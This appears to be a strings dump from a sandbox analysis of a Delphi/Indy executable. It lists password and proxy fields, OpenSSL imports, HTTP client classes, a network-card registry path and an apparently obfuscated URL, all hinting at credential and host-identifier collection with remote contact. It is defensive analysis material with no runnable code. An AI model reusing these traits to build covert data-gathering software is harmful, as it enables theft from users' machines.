TIdEncoder3to4.Encode: Calculated length exceeded (expected

%Program Files%\Borland\Delphi7\Source\Indy\Source\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length not met (expected

password

Password

IdHTTPHeaderInfo

ProxyPassword

ProxyPort

Mozilla/3.0 (compatible; Indy Library)

ftpTransfer

ftpReady

ftpAborted

ClientPortMin

ClientPortMax

Port

EIdCanNotBindPortInRange

EIdInvalidPortRangeSVW

libeay32.dll

ssleay32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

des_set_key

saUsernamePassword

Password

0.0.0.1

TIdTCPConnection

TIdTCPConnection@

IdTCPConnection

EIdTCPConnectionError

VhH%C

Uh0%C

sslvrfFailIfNoPeerCert

TPasswordEvent

Certificate

RootCertFile

CertFile

KeyFile

OnGetPassword

EIdOSSLLoadingRootCertErrorX?C

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

TIdTCPClient

IdTCPClient

BoundPort

PortU

CommentURL

TIdHTTPMethod

IdHTTP

TIdHTTPOption

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPOnRedirectEvent

TIdHTTPResponse

TIdHTTPResponseH

TIdHTTPRequest

TIdHTTPProtocol

TIdCustomHTTP

TIdHTTP

TIdHTTPD

HTTPOptions|

EIdHTTPProtocolException

application/x-www-form-urlencoded

HTTPS

https

This request method is supported in HTTP 1.1

HTTP/1.0 200 OK

HTTP/

%d.%d.%d.%d

;8=$:$:$;

b~~z0%%cz$ik~x$id%

00-00-00-00-00

SoftWare\Microsoft\Windows NT\CurrentVersion\NetworkCards

SoftWare\Microsoft\Windows NT\CurrentVersion\NetworkCards\

KERNEL32.DLL

NTDLL.DLL

UhA%D

TIdUDPBase

IdUDPBase

255.255.255.255

TIdUDPClient

IdUDPClient

Port

&tn

&unc

&vendor

&

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps